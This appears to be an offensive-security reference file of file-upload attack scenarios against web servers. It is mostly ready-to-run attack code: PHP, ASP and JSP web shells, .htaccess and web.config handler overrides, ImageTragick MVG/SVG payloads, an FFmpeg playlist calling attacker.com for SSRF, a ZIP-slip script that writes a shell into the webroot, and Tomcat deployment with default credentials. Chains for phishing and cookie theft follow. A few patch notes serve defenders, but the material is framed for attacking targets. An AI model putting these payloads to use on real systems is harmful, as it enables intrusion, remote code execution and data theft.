---
name: scenarios-file-upload
description: "Real-world attack scenarios for File Upload RCE — CVEs, bug bounty disclosures, real engagement chains"
---

# File Upload — Real-World Attack Scenarios

> Sources: CVE database · HackerOne/Bugcrowd disclosed · Exploit-DB · real engagement patterns

## Index

### Extension Bypass
- S01: PHP extension blacklist bypass
- S02: .htaccess upload
- S03: web.config upload
- S04: Null byte injection
- S05: Double extension
- S06: Case variation
- S07: Trailing dot/semicolon
- S08: Multipart form-data tricks
- S09: File name from request header injection
- S10: Long file name

### MIME Type Bypass
- S11: Content-Type header spoof
- S12: Magic bytes bypass
- S13: File signature spoofing

### Content Bypass
- S14: PHP polyglot
- S15: GIF89a + PHP shell
- S16: EXIF metadata PHP code
- S17: SVG with JS
- S18: HTML file with JS
- S19: CSV with formula injection
- S20: DOCX with macro
- S21: PDF with JS

### Image Processing RCE
- S22: ImageMagick RCE (ImageTragick)
- S23: ImageMagick SVG SSRF
- S24: ImageMagick MVG RCE
- S25: ImageMagick MSL RCE
- S26: Ghostscript RCE
- S27: FFmpeg HLS SSRF
- S28: Pillow Python RCE
- S29: GD library issues
- S30: libgd RCE

### Archive Attacks
- S31: ZIP slip (path traversal in archive)
- S32: TAR slip
- S33: RAR slip
- S34: ZIP with symlink
- S35: ZIP bomb (DoS)
- S36: WAR/JAR upload (Java)
- S37: EAR upload
- S38: 7z slip

### Race Conditions
- S39: Upload + virus scan + serve window
- S40: Upload + delete window
- S41: File access during move
- S42: Cloud storage race

### Misc Upload Bypasses
- S43: Path traversal in filename
- S44: CRLF injection in filename
- S45: Unicode normalization bypass
- S46: Filename semicolon truncation
- S47: Override file via collision
- S48: Overwrite critical files
- S49: Upload to writable+executable path
- S50: ELF binary upload

### Cloud Storage Bypass
- S51: S3 bucket upload misconfiguration
- S52: Public read on uploaded files
- S53: CloudFront bypass
- S54: GCP bucket public access
- S55: Azure blob public access

### Chained Exploits
- S56: Upload SVG + XSS
- S57: Upload HTML + phishing
- S58: Upload ZIP + ZIP slip
- S59: Upload + RCE in image processor
- S60: Upload + LFI/RFI chain

---

## Extension Bypass

### S01: PHP Extension Blacklist Bypass
**Context:** App blocks .php extension but checks for exact match
**Seen in:** Real — every bug bounty
**Impact:** RCE on PHP server

### Detection
```bash
# Test blocked extensions:
curl -X POST -F "file=@test.php" https://target.com/upload
# Returns: error
# Test bypasses:
curl -X POST -F "file=@test.phtml" https://target.com/upload  # Apache parses
curl -X POST -F "file=@test.php3" https://target.com/upload   # Apache parses (if configured)
curl -X POST -F "file=@test.php4" https://target.com/upload   # Apache parses (if configured)
curl -X POST -F "file=@test.php5" https://target.com/upload   # Apache parses (if configured)
curl -X POST -F "file=@test.php7" https://target.com/upload   # Apache parses (if configured)
curl -X POST -F "file=@test.pht" https://target.com/upload    # Apache parses
curl -X POST -F "file=@test.phar" https://target.com/upload   # PHP phar
curl -X POST -F "file=@test.phps" https://target.com/upload   # PHP source (view)
# Double extension:
curl -X POST -F "file=@test.php.jpg" https://target.com/upload  # Apache may execute as PHP if mod_mime misconfig
# Case variation:
curl -X POST -F "file=@test.pHp" https://target.com/upload
curl -X POST -F "file=@test.PhP" https://target.com/upload
```

### Exploit
```bash
# 1. Create PHP shell:
echo '<?php system($_GET["c"]); ?>' > shell.phtml
# 2. Upload
curl -X POST -F "file=@shell.phtml" https://target.com/upload
# 3. Get URL of uploaded file:
# Usually: https://target.com/uploads/shell.phtml
# 4. Access with command:
curl https://target.com/uploads/shell.phtml?c=id
```

### Chain
1. Find file upload
2. Test extension bypasses
3. Upload PHP shell
4. Get RCE

### Bypass / Notes
- AddHandler / SetHandler directives in Apache may parse alt extensions
- .phar is parsed as PHP if configured
- IIS: .php, .php3, .php4, .php5, .php7, .pht, .phar
- Nginx + PHP-FPM: only .php unless misconfig

---

### S02: .htaccess Upload
**Context:** Apache server with writable upload dir
**Seen in:** Real — multiple bug bounty reports
**Impact:** RCE by configuring Apache to execute .jpg as PHP

### Detection
```bash
# Check if .htaccess can be uploaded:
curl -X POST -F "file=@.htaccess" https://target.com/upload
# If success → can configure Apache
```

### Exploit
```bash
# 1. Create .htaccess that executes .jpg as PHP:
cat > .htaccess << 'EOF'
AddType application/x-httpd-php .jpg
AddHandler application/x-httpd-php .jpg
EOF
# 2. Create PHP shell with .jpg extension:
cat > shell.jpg << 'EOF'
<?php system($_GET["c"]); ?>
EOF
# 3. Upload both:
curl -X POST -F "file=@.htaccess" https://target.com/upload
curl -X POST -F "file=@shell.jpg" https://target.com/upload
# 4. Access shell.jpg as PHP:
curl "https://target.com/uploads/shell.jpg?c=id"
# Apache executes as PHP
```

### Chain
1. Find upload that allows .htaccess
2. Upload .htaccess
3. Upload PHP shell with .jpg extension
4. RCE

### Bypass / Notes
- Apache 2.3.9+: AllowOverride None blocks .htaccess
- Older Apache vulnerable
- Some shared hosts allow user .htaccess
- Try also .user.ini (PHP 5.3+)

---

### S03: web.config Upload
**Context:** IIS server with writable upload dir
**Seen in:** Real — IIS bugs
**Impact:** RCE by configuring IIS to execute .jpg as ASP

### Detection
```bash
# Check if web.config can be uploaded:
curl -X POST -F "file=@web.config" https://target.com/upload
```

### Exploit
```bash
# 1. Create web.config that executes .jpg as ASP:
cat > web.config << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
    <handlers>
      <add name="jpg" path="*.jpg" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="File" />
    </handlers>
  </system.webServer>
</configuration>
EOF
# 2. Create ASP shell:
cat > shell.jpg << 'EOF'
<% response.write server.createobject("wscript.shell").exec("cmd /c "&request("c")).stdout.readall %>
EOF
# 3. Upload both
# 4. Access shell.jpg → RCE
```

### Chain
1. Find IIS upload
2. Upload web.config
3. Upload ASP shell
4. RCE

### Bypass / Notes
- IIS 7+: web.config respected
- Older IIS: web.config not supported
- Sometimes called "ASP.NET configuration trick"

---

### S04: Null Byte Injection
**Context:** Older PHP (5.x) checking extension
**Seen in:** Real — older apps
**Impact:** RCE via null byte in filename

### Detection
```bash
# Test null byte:
curl -X POST -F "file=@shell.php;filename=shell.php%00.jpg" https://target.com/upload
```

### Exploit
```bash
# PHP < 5.3.4 vulnerable:
# 1. Create shell.php
# 2. Upload with filename: shell.php%00.jpg
# 3. App sees: shell.php\0.jpg (extension check passes)
# 4. PHP includes: shell.php (null byte truncates)
# 5. RCE
```

### Chain
1. Find older PHP upload
2. Null byte in filename
3. Bypass extension check
4. RCE

### Bypass / Notes
- Patched in PHP 5.3.4+
- Still found in legacy apps
- Some apps with custom file handlers vulnerable

---

## Content Bypass

### S14: PHP Polyglot
**Context:** App checks file is image but allows PHP
**Seen in:** Real — multiple bug bounty reports
**Impact:** RCE via image-like PHP

### Detection
```bash
# Create PHP polyglot (valid JPEG + PHP code):
# Use exiftool to embed PHP in EXIF:
exiftool -Comment='<?php system($_GET["c"]); ?>' image.jpg
# File is still valid JPEG
```

### Exploit
```bash
# 1. Create polyglot:
# Option A: Use exiftool
exiftool -Comment='<?php system("id"); ?>' image.jpg
# Option B: Manually inject in EXIF
# Option C: Use jpg_payload tool
# 2. Upload as .jpg
# 3. Include via LFI or local file include
# Or rename to .php if extension bypass works
# 4. PHP code executes
```

### Chain
1. Create polyglot JPEG/PHP
2. Upload
3. Get file URL
4. RCE if served as PHP
5. Or LFI to include it

### Bypass / Notes
- Useful when strict image checks
- PHP code in EXIF comment
- Or in image metadata
- See rt-exploit-xss S08 for SVG

---

### S15: GIF89a + PHP Shell
**Context:** App checks file starts with magic bytes
**Seen in:** Real — common
**Impact:** RCE via image-like PHP

### Detection
```bash
# Test if app checks magic bytes:
curl -X POST -F "file=@test.gif" https://target.com/upload
# Or check for specific extensions
```

### Exploit
```bash
# 1. Create shell that starts with GIF89a:
echo 'GIF89a<?php system($_GET["c"]); ?>' > shell.gif
# 2. Upload
# 3. Get URL
# 4. Try accessing as PHP via misconfiguration:
# /uploads/shell.gif  # as image (works for LFI)
# /uploads/shell.php  # if extension trick works
# 5. Or include via LFI:
?page=../uploads/shell.gif
```

### Chain
1. Create GIF89a + PHP file
2. Upload
3. Include via LFI
4. RCE

### Bypass / Notes
- Useful for LFI chains
- Many apps check magic bytes only
- Some servers serve .gif with text/plain
- Need LFI or extension trick to execute

---

## Image Processing RCE

### S22: ImageMagick RCE (ImageTragick CVE-2016-3714)
**Context:** Server uses ImageMagick to process uploaded images
**Seen in:** Real — WordPress, many CMS
**Impact:** RCE

### Detection
```bash
# Check if app uses ImageMagick:
# Upload an image and check headers
# Or test with MVG file
```

### Exploit
```bash
# ImageTragick (CVE-2016-3714) exploit:
# Create malicious MVG file:
cat > exploit.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id > /tmp/x ")"
pop graphic-context
EOF
# Upload
curl -X POST -F "file=@exploit.mvg" https://target.com/upload
# Or SVG with entity:
cat > exploit.svg << 'EOF'
<svg width="640" height="480" xmlns="http://www.w3.org/2000/svg">
  <image xlink:href="https://example.com/x.jpg&quot;|id &quot;" width="640" height="480"/>
</svg>
EOF
# Or with delegate:
cat > exploit.svg << 'EOF'
<svg xmlns="http://www.w3.org/2000/svg" width="640" height="480">
  <image width="640" height="480" xlink:href="https://example.com/x.jpg&quot;|ls -la /tmp >&quot;|echo &quot;">
</svg>
EOF
```

### Chain
1. Find image upload
2. Upload malicious MVG/SVG
3. ImageMagick processes
4. RCE
5. Pivot

### Bypass / Notes
- Patched in ImageMagick 7.0.1-1
- Old versions vulnerable
- Disable delegates via policy.xml
- See rt-exploit-injection S38 for full exploit

---

### S27: FFmpeg HLS SSRF
**Context:** Server uses FFmpeg to process video
**Seen in:** Real — multiple bug bounty reports
**Impact:** SSRF + RCE

### Detection
```bash
# Test if app processes video:
curl -X POST -F "file=@test.mp4" https://target.com/upload
# Check response
```

### Exploit
```bash
# FFmpeg HLS SSRF:
# 1. Create malicious M3U8 file:
cat > exploit.m3u8 << 'EOF'
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://attacker.com/header.m3u8
#EXT-X-ENDLIST
EOF
# 2. Create header.m3u8 on attacker server:
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1.0,
http://attacker.com:6379/?q=AA
# 3. FFmpeg follows → SSRF to internal services
# 4. RCE via Redis (like SSRF gopher)
```

### Chain
1. Find video upload
2. Upload malicious M3U8
3. FFmpeg processes
4. SSRF to internal
5. RCE via Redis
6. Pivot

### Bypass / Notes
- CVE-2016-1897/CVE-2016-1898
- Newer FFmpeg patched
- Similar: AVI/MKV parsing
- Multiple SSRF vectors in FFmpeg

---

## Archive Attacks

### S31: ZIP Slip (Path Traversal in Archive)
**Context:** Server extracts ZIP files
**Seen in:** Real — multiple bug bounty reports, CVE-2018-1002200
**Impact:** RCE by writing file to any path

### Detection
```bash
# Find upload that accepts ZIP:
curl -X POST -F "file=@test.zip" https://target.com/upload
# If extracts → test ZIP slip
```

### Exploit
```bash
# 1. Create malicious ZIP with traversal:
# Method 1: symlink in ZIP
# Method 2: filename with ../ (in archive metadata)
ln -s /etc/passwd evil_link
zip --symlinks evil.zip evil_link
# Or create ZIP with traversal filename:
python3 -c "
import zipfile
with zipfile.ZipFile('evil.zip', 'w') as z:
    z.writestr('../../../../var/www/html/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
"
# 2. Upload ZIP
# 3. Server extracts
# 4. shell.php ends up at /var/www/html/
# 5. RCE
```

### Chain
1. Find ZIP upload
2. Create ZIP with path traversal
3. Upload
4. Server extracts to arbitrary path
5. RCE

### Bypass / Notes
- Affects: Node.js (unzipper), Java, Python (zipfile), PHP
- Patched in most modern libs
- Still found in older code
- CVE-2018-1002200 (Node), CVE-2018-1002201 (Java)

---

### S36: WAR/JAR Upload (Java)
**Context:** Java app server accepts WAR/JAR (Tomcat, JBoss, etc.)
**Seen in:** Real — JBoss JMX console, Tomcat manager
**Impact:** RCE via WAR deployment

### Detection
```bash
# Check for Java app server:
curl -I https://target.com/ | grep -i "tomcat\|jboss\|wildfly"
# Test manager endpoints:
curl https://target.com/manager/
curl https://target.com/jmx-console/
```

### Exploit
```bash
# 1. Create WAR with JSP shell:
mkdir -p WEB-INF
echo '<%@ page import="java.util.*,java.io.*"%><%Runtime rt = Runtime.getRuntime();Process p = rt.exec(request.getParameter("c"));%><%=p %>' > shell.jsp
cat > WEB-INF/web.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<web-app></web-app>
EOF
jar -cvf shell.war WEB-INF shell.jsp
# 2. Upload to Tomcat manager (if creds):
curl --upload-file shell.war "https://target.com/manager/text/deploy?path=/shell" --basic -u tomcat:tomcat
# 3. Or JBoss JMX:
# Use jboss-as-exploits or manual
# 4. Or JBoss resteasy (CVE-2017-12149):
curl -X POST https://target.com/invoker/readonly -d "..."
# 5. Access deployed shell:
curl "https://target.com/shell/shell.jsp?c=id"
```

### Chain
1. Find Java app server
2. Find upload/deploy endpoint
3. Deploy WAR with shell
4. RCE

### Bypass / Notes
- Tomcat manager often has default creds
- JBoss JMX often exposed
- WildFly admin console
- WebLogic has similar (CVE-2019-2725)

---

## Race Conditions

### S39: Upload + Virus Scan + Serve Window
**Context:** Upload → virus scan → serve
**Seen in:** Real — research, real engagements
**Impact:** RCE by accessing file before delete

### Detection
```bash
# Check if files served immediately:
# Upload + check URL
```

### Exploit
```bash
# 1. Upload malicious file
# 2. Continuously request file URL (race):
while true; do curl https://target.com/uploads/shell.php?c=id -o /dev/null -w "%{http_code}\n"; done &
# 3. Upload runs
# 4. If file served for short time before virus scan → RCE
```

### Chain
1. Find upload with virus scan
2. Continuously request URL
3. Upload + race
4. Win the race → RCE

### Bypass / Notes
- Window can be milliseconds
- Many parallel requests help
- Use Turbo Intruder or custom script
- Some apps: upload to temp → scan → move (race during move)

---

## Content-Type & Magic Bytes

### S11: Content-Type Header Spoof
**Context:** App checks Content-Type in request
**Seen in:** Real — common
**Impact:** Upload malicious file

### Detection
```bash
# Test content-type check:
curl -X POST -F "file=@shell.php;type=image/jpeg" https://target.com/upload
curl -X POST -F "file=@shell.php;type=application/pdf" https://target.com/upload
```

### Exploit
```bash
# Spoof Content-Type:
curl -X POST -F "file=@shell.php;type=image/jpeg" https://target.com/upload
# Or in raw multipart:
--boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
--boundary--
```

### Chain
1. Find upload with content-type check
2. Spoof content-type
3. Upload
4. RCE

### Bypass / Notes
- Many apps only check content-type
- Server-side check on actual file is better
- Some apps check both (need to bypass both)

---

## Cloud Storage Bypass

### S51: S3 Bucket Upload Misconfiguration
**Context:** App uploads to S3 with misconfigured permissions
**Seen in:** Real — many bug bounty reports
**Impact:** Full bucket control, often customer data

### Detection
```bash
# Check if S3 bucket is public:
aws s3 ls s3://target-bucket --no-sign-request
# Or:
curl https://target-bucket.s3.amazonaws.com/
# Check for public read/write
```

### Exploit
```bash
# 1. Get bucket name from upload URL
# 2. Check public access:
curl https://BUCKET.s3.amazonaws.com/
# 3. If listable → all uploaded files visible
# 4. If public write → upload arbitrary files
# 5. Use aws cli:
aws s3 cp shell.php s3://BUCKET/ --no-sign-request
# Or:
aws s3 sync ./ s3://BUCKET/ --no-sign-request
```

### Chain
1. Find S3 bucket
2. Check public access
3. Read or write
4. Data dump or RCE (if webserver serves S3)

### Bypass / Notes
- S3 Block Public Access (BPA) helps
- Many buckets still misconfigured
- Use s3scanner, bucket-stream
- Check bucket policies

---

## Real-World Chain Examples

### Chain A: ImageMagick RCE → Webshell
1. Find image upload
2. Upload malicious MVG/SVG
3. ImageMagick RCE
4. Drop web shell
5. Persistence

### Chain B: ZIP Slip → Webshell in webroot
1. Find ZIP upload that extracts
2. Create ZIP with ../../webroot/shell.php
3. Upload
4. Server extracts
5. RCE

### Chain C: HTML upload → Phishing
1. Find upload that allows HTML
2. Upload HTML with fake login
3. Get URL on same origin
4. Phish victims

### Chain D: SVG upload + XSS
1. Find SVG upload
2. Upload SVG with XSS payload
3. Get URL
4. XSS when viewed
5. Cookie theft

### Chain E: Polyglot image + LFI
1. Find image upload
2. Create polyglot JPEG/PHP
3. Upload
4. Find LFI
5. Include uploaded file
6. RCE
